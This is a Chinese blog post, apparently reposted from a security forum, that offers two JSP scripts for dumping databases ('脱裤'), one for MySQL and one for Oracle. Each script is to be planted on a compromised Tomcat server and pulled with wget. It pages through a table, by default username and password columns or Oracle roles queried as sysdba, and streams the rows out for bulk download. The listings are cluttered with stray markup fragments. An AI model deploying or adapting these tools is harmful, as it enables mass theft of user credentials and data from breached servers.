iverson5

2015年01月05日

刚看上一个php wget脱裤的帖子,有朋友说要jsp的,jsp其实我也写好了,但是感觉没有php那么方便。
存在依赖问题,比如tomcat下需要有oralce jdbc,我测试换的环境是oracle 10g,JDBC是classes12.jar,需要将它放到tomcat目录的common\lib下面。T00ls.Net - 低调求发展 - 技术无止境 - Focus On Network Security; W6 u# e4 i  ~: I
java不太熟悉,听说可以利用反射方式解决依赖包问题。稍后我再研究研究,这里发出两个版本,一个是mysql的,一个是oracle的。
www.t00ls.net' l1 ~* [3 X2 {4 x
Mysql版本:de >

de>01de>de><%@ page contentType=de>de>"text/html; charset=utf-8"de> de>%>de>

de>02de>de><%@ page language=de>de>"java"de> de>%>de>

de>03de>de><%@ page de>de>importde>de>=de>de>"java.sql.*"de> de>%>de>

de>04de> 

de>05de>de><%de>

de>06de>de>//author: By Gavinde>

de>07de>de>//Usage: wget "http://xxx.com/wget_db_mysql.jsp?sn=0&en=5000000&ln=50000" -O gavin.sqlde>

de>08de>de>//jdbc mysql-connector-java.jar tomcat/common/libde>

de>09de> 

de>10de>de>out.clear();de>

de>11de>de>//分段每次limit查询出来的条数,根据实际情况调整,默认为2wde>

de>12de>de>intde> de>MAX_LIMIT_NUM =  de>de>20000de>de>;        de>

de>13de>de>//最大缓存条数,防止占用过多内存,根据每条数据大小调整                                de>

de>14de>de>intde> de>MAX_CACHE_NUM = de>de>5000de>de>;        de>

de>15de> 

de>16de>de>// 驱动程序名 de>

de>17de>de>String driverName=de>de>"com.mysql.jdbc.Driver"de>de>; de>

de>18de>de>// 数据库地址de>

de>19de>de>String dbAddress = de>de>"127.0.0.1:3306"de>de>;de>

de>20de>de>//数据库用户名 de>

de>21de>de>String userName=de>de>"root"de>de>; de>

de>22de>de>//密码 de>

de>23de>de>String userPasswd=de>de>"root"de>de>;de>

de>24de>de>//数据库名 de>

de>25de>de>String dbName=de>de>"DBName"de>de>;de>

de>26de>de>// 查询字段de>

de>27de>de>String columns[] = de>de>"username,password"de>de>.split(de>de>","de>de>);de>

de>28de>de>//表名 de>

de>29de>de>String tableName=de>de>"table_name"de>de>; de>

de>30de> 

de>31de>de>// 接受参数de>

de>32de>de>intde> de>startNum = Integer.valueOf(request.getParameter(de>de>"sn"de>de>));                        de>de>//接收起始条数de>

de>33de>de>intde> de>endNum = Integer.valueOf(request.getParameter(de>de>"en"de>de>));                        de>de>//接收结束条数de>

de>34de>de>String ln = request.getParameter(de>de>"ln"de>de>);de>

de>35de>de>ifde> de>(ln != de>de>nullde> de>&& ln != de>de>""de>de>)  MAX_LIMIT_NUM = Integer.valueOf(ln);        de>de>//接收每次分段查询的条数de>

de>36de>de>intde> de>gavin_downNum = endNum - startNum;                                                                        de>de>//计算总下载条数de>

de>37de> 

de>38de>de>ifde> de>(endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;de>

de>39de>de>intde> de>multiple = gavin_downNum/MAX_LIMIT_NUM;de>

de>40de>de>intde> de>complement = gavin_downNum%MAX_LIMIT_NUM;de>

de>41de> 

de>42de>de>// 连接数据库de>

de>43de>de>String url=de>de>"jdbc:mysql://"de>de>+dbAddress+de>de>"/"de>de>+dbName+de>de>"?user="de>de>+userName+de>de>"&password="de>de>+userPasswd; de>

de>44de>de>Class.forName(driverName).newInstance(); de>

de>45de>de>Connection connection=DriverManager.getConnection(url); de>

de>46de>de>Statement statement = connection.createStatement(); de>

de>47de> 

de>48de>de>// 拼装前半部分sqlde>

de>49de>de>String sql = de>de>"SELECT "de>de>;de>

de>50de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<columns.length;i++){de>

de>51de>de>        de>de>ifde>de>(i == (columns.length-de>de>1de>de>)){de>

de>52de>de>                de>de>sql += columns[i];de>

de>53de>de>        de>de>} de>de>elsede> de>{de>

de>54de>de>                de>de>sql += columns[i] + de>de>","de>de>;de>

de>55de>de>        de>de>}de>

de>56de>de>}de>

de>57de>de>sql += de>de>" FROM "de> de>+ tableName + de>de>" "de>de>;de>

de>58de> 

de>59de>de>intde> de>num = de>de>1de>de>;de>

de>60de> 

de>61de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<multiple;i++) {de>

de>62de>de>        de>de>intde> de>newStartNum = i*MAX_LIMIT_NUM+startNum;de>

de>63de>de>        de>de>ifde>de>(i == (multiple-de>de>1de>de>)) MAX_LIMIT_NUM += complement;de>

de>64de>de>        de>de>String newSql = sql + de>de>" limit "de> de>+ newStartNum + de>de>","de> de>+ MAX_LIMIT_NUM;de>

de>65de>de>         de>de>java.sql.ResultSet rs = statement.executeQuery(newSql); de>

de>66de>de>         de>de>//获得数据结果集合 de>

de>67de>de>         de>de>//ResultSetMetaData rmeta = rs.getMetaData(); de>

de>68de>de>         de>de>whilede>de>(rs.next()) { de>

de>69de>de>                 de>de>num ++;de>

de>70de>de>                 de>de>forde>de>(de>de>intde> de>j=de>de>1de>de>;j<=columns.length;j++){de>

de>71de>de>                         de>de>ifde>de>(j == columns.length){de>

de>72de>de>                                 de>de>out.println(rs.getString(j));de>

de>73de>de>                         de>de>} de>de>elsede> de>{de>

de>74de>de>                                 de>de>out.print(rs.getString(j)+de>de>"-->"de>de>);de>

de>75de>de>                         de>de>}de>

de>76de>de>                de>de>}de>

de>77de>de>                 de>de>ifde> de>(num >= MAX_CACHE_NUM) {de>

de>78de>de>                         de>de>out.flush();de>

de>79de>de>                         de>de>num = de>de>0de>de>;de>

de>80de>de>                 de>de>}de>

de>81de>de>         de>de>} de>

de>82de>de>         de>de>rs.close(); de>

de>83de>de>}de>

de>84de>de>statement.close(); de>

de>85de>de>connection.close(); de>

de>86de>de>%>de>

de> test_mysql_jsp.jpg
Oracle版本:de >

de>01de>de><%@ page contentType=de>de>"text/html; charset=utf-8"de> de>%>de>

de>02de>de><%@ page language=de>de>"java"de> de>%>de>

de>03de>de><%@ page de>de>importde>de>=de>de>"java.sql.*"de> de>%>de>

de>04de>de><%de>

de>05de> 

de>06de>de>//author: By Gavinde>

de>07de>de>//Usage: wget "http://xxx.com/wget_db_oracle.jsp?sn=0&en=5000000&ln=50000" -O gavin.sqlde>

de>08de>de>//jdbc jar tomcat/common/libde>

de>09de> 

de>10de>de>out.clear();de>

de>11de>de>//分段每次limit查询出来的条数,根据实际情况调整,默认为2wde>

de>12de>de>intde> de>MAX_LIMIT_NUM =  de>de>20000de>de>;        de>

de>13de>de>//最大缓存条数,防止占用过多内存,根据每条数据大小调整                                de>

de>14de>de>intde> de>MAX_CACHE_NUM = de>de>5000de>de>;        de>

de>15de> 

de>16de>de>// 驱动程序名 de>

de>17de>de>String driverName = de>de>"oracle.jdbc.driver.OracleDriver"de>de>;de>

de>18de>de>// 数据库地址de>

de>19de>de>String dbAddress = de>de>"192.168.199.175:1521"de>de>;de>

de>20de>de>//数据库用户名 de>

de>21de>de>String userName=de>de>"sys"de>de>+de>de>" as sysdba"de>de>; de>

de>22de>de>//密码 de>

de>23de>de>String userPasswd=de>de>"gavin"de>de>;de>

de>24de>de>//数据库名 de>

de>25de>de>String dbName=de>de>"orcl"de>de>;de>

de>26de>de>// 查询字段de>

de>27de>de>String columns[] = de>de>"role,password_required"de>de>.split(de>de>","de>de>);de>

de>28de>de>//表名 de>

de>29de>de>String tableName=de>de>"dba_roles"de>de>; de>

de>30de> 

de>31de>de>// 接受参数de>

de>32de>de>intde> de>startNum = Integer.valueOf(request.getParameter(de>de>"sn"de>de>));                        de>de>//接收起始条数de>

de>33de>de>intde> de>endNum = Integer.valueOf(request.getParameter(de>de>"en"de>de>));                        de>de>//接收结束条数de>

de>34de>de>String ln = request.getParameter(de>de>"ln"de>de>);de>

de>35de>de>ifde> de>(ln != de>de>nullde> de>&& ln != de>de>""de>de>)  MAX_LIMIT_NUM = Integer.valueOf(ln);        de>de>//接收每次分段查询的条数de>

de>36de>de>intde> de>gavin_downNum = endNum - startNum;                                                                        de>de>//计算总下载条数de>

de>37de> 

de>38de>de>ifde> de>(endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;de>

de>39de>de>intde> de>multiple = gavin_downNum/MAX_LIMIT_NUM;de>

de>40de>de>// int complement = gavin_downNum%MAX_LIMIT_NUM;de>

de>41de> 

de>42de>de>// 连接数据库de>

de>43de>de>String url = de>de>"jdbc:oracle:thin:@"de>de>+dbAddress+de>de>":"de>de>+dbName;de>

de>44de>de>Class.forName(driverName).newInstance(); de>

de>45de>de>Connection connection=DriverManager.getConnection(url,userName,userPasswd); de>

de>46de>de>Statement statement = connection.createStatement(); de>

de>47de> 

de>48de>de>// 拼装前半部分sqlde>

de>49de>de>String sql_t = de>de>""de>de>;de>

de>50de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<columns.length;i++){de>

de>51de>de>        de>de>ifde>de>(i == (columns.length-de>de>1de>de>)){de>

de>52de>de>                de>de>sql_t += columns[i];de>

de>53de>de>        de>de>} de>de>elsede> de>{de>

de>54de>de>                de>de>sql_t += columns[i] + de>de>","de>de>;de>

de>55de>de>        de>de>}de>

de>56de>de>}de>

de>57de>de>// select role,password_required from (select rownum row_uuid,role,password_required from dba_roles) where row_uuid>10 and row_uuid<15de>

de>58de>de>String sql =de>de>"select "de> de>+ sql_t + de>de>" FROM (select rownum row_uuid,"de> de>+ sql_t + de>de>" from "de> de>+ tableName + de>de>")"de>de>;de>

de>59de> 

de>60de>de>intde> de>num = de>de>1de>de>;de>

de>61de>de>forde>de>(de>de>intde> de>i=de>de>0de>de>;i<multiple;i++) {de>

de>62de>de>        de>de>intde> de>newStartNum = startNum;de>

de>63de>de>        de>de>intde> de>newEndNum = newStartNum+MAX_LIMIT_NUM;de>

de>64de>de>        de>de>ifde>de>(i == multiple-de>de>1de> de>) newEndNum = endNum;de>

de>65de>de>        de>de>startNum = newEndNum;de>

de>66de> 

de>67de>de>        de>de>String newSql = sql + de>de>" where row_uuid > "de> de>+ newStartNum + de>de>" and row_uuid <= "de> de>+ newEndNum;de>

de>68de> 

de>69de>de>         de>de>java.sql.ResultSet rs = statement.executeQuery(newSql); de>

de>70de>de>         de>de>//获得数据结果集合 de>

de>71de>de>         de>de>whilede>de>(rs.next()) {de>

de>72de>de>                 de>de>num ++;de>

de>73de>de>                 de>de>forde>de>(de>de>intde> de>j=de>de>1de>de>;j<=columns.length;j++){de>

de>74de>de>                         de>de>ifde>de>(j == columns.length){de>

de>75de>de>                                 de>de>out.println(rs.getString(j));de>

de>76de>de>                         de>de>} de>de>elsede> de>{de>

de>77de>de>                                 de>de>out.print(rs.getString(j)+de>de>"-->"de>de>);de>

de>78de>de>                         de>de>}de>

de>79de>de>                de>de>}de>

de>80de>de>                 de>de>ifde> de>(num >= MAX_CACHE_NUM) {de>

de>81de>de>                         de>de>out.flush();de>

de>82de>de>                         de>de>num = de>de>0de>de>;de>

de>83de>de>                 de>de>}de>

de>84de>de>         de>de>} de>

de>85de>de>         de>de>rs.close(); de>

de>86de>de>}de>

de>87de>de>statement.close(); de>

de>88de>de>connection.close(); de>

de>89de>de>%>de>

de>
test_oracle_jsp.jpg
评论

iverson5

© iverson5 | Powered by LOFTER